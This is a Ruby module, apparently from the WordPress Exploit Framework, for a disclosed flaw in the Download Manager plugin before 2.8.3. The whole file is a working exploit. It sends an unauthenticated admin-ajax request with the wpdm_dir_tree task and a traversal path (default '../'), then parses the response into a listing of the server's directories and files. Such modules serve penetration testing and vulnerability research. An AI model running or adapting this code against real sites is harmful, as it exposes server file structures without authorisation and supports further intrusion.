# frozen_string_literal: true

require 'erb'
require 'nokogiri'

class Wpxf::Auxiliary::DownloadManagerDirectoryListingDisclosure < Wpxf::Module
  include Wpxf
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'Download Manager Directory Listing Disclosure',
      desc: %(
        This module uses a lack of session and input validation in
        versions < 2.8.3 of the Download Manager plugin to get
        the directory listing of the specified directory.
      ),
      author: [
        'James Golovich', # Disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8365'],
        ['URL', 'http://www.pritect.net/blog/wordpress-download-manager-2-8-8-critical-security-vulnerabilities']
      ],
      date: 'Jan 19 2016'
    )

    register_options([
      StringOption.new(
        name: 'remote_path',
        desc: 'The relative or absolute path to view the contents of',
        required: true,
        default: '../'
      )
    ])
  end

  def check
    check_plugin_version_from_readme('download-manager', '2.8.3')
  end

  def remote_path
    if datastore['remote_path'].end_with? '/'
      datastore['remote_path']
    else
      "#{datastore['remote_path']}/"
    end
  end

  def encoded_remote_path
    url_encode(remote_path)
  end

  def run
    return false unless super

    listing = [{
      name: 'Name', type: 'Type'
    }]

    emit_info 'Requesting directory listing...'
    res = execute_post_request(
      url: wordpress_url_admin_ajax,
      params: {
        'action' => 'wpdm_init',
        'task' => 'wpdm_dir_tree'
      },
      body: {
        'dir' => encoded_remote_path
      }
    )

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    emit_info 'Parsing response...'
    begin
      doc = Nokogiri::HTML(res.body)
      items = doc.xpath("//ul//li")

      items.each do |item|
        if item['class'] =~ /directory/
          listing.push(name: item.at('a').text, type: 'Directory')
        else
          listing.push(name: item.at('a').text, type: 'File')
        end
      end
    rescue StandardError => e
      emit_error "Could not parse the response: #{e}"
      return false
    end

    emit_table listing
    true
  end
end
